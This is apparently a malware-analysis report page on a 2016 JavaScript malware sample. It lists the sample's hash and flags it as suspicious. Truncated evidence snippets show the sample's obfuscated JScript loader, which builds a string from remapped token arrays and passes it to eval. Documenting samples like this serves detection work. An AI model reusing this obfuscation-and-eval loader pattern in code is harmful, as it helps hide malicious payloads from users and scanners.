Suspicious ^80% javascript-malware-collection Download

20160921_bd3b4c7cf0588af7c4014d66947dd198.js

Obfuscated token-remap string built then eval'd

Token-array remap reconstructionRepeated anonymous return token stubs

SHA-256b6d0dad910056c72d41faa066846061b7a1630e389a231f1b551dd9947342637

Evidence

Repeated anonymous return token stubs lines 1–5

1
2/*@cc_on
3
4var JXq = "";
5var Ny = [(function fuck(){return "MUs";})(),(function fuck(){return "EHo";})(),(function fuck(){return "UXf";})(),(function fuck(){return "FJs";})(),(function fuck(){return "Fv";})(),(function fuck(){return "Dc";})(),(function fuck(){return "Mw";})(),(function fuck(){return "UXf";})(),(function fuck(){return "IPu";})(),(function fuck(){return "Xg";})(),(function fuck(){return "OQr";})(),(function fuck(){return "MOj";})(),(function fuck(){return "Tv";})(),(function fuck(){return "Bz";})(),(function fuck(){return "IPu";})(),(function fuck(){return "IPu";})(),(function fuck(){return "IPu";})(),(function fuck(){return "IPu";})(),(funct …

Short-token to hex-char map lines 5–9

5:592698… })(),(function fuck(){return "Bz";})()];
6var Zh;
7for (Zh = 0; Zh < Ny.length; Zh++)
8{
9var NOc = {'Jg': '\x79', 'Na': '\x78', 'EHo': '\x75', 'Fv': '\x74', 'Ve': '\x77', 'Jh': '\x71', 'IOs': '\x70', 'Ar': '\x73', 'Za': '\x72', 'Bz': '\x0a', 'Ug': '\x0d', 'CTm': '\x09', 'ILp': '\x7d', 'Py': '\x7a', 'Cs': '\x7c', 'Tv': '\x7b', 'DHd': '\x2f', 'IKv': '\x2d', 'Pc': '\x2e', 'DRx': '\x2b', 'OPz': '\x2c', 'M …

Token remap loop into eval buffer lines 9–15

9:1277… '\x5d', 'Wn': '\x5c', 'TTs': '\x5b', 'Et': '\x5a'};
10    Hg = Ny[Zh];
11    var HUh = NOc[Hg];
12    JXq = JXq + HUh;
13}
14eval(JXq);
15@*/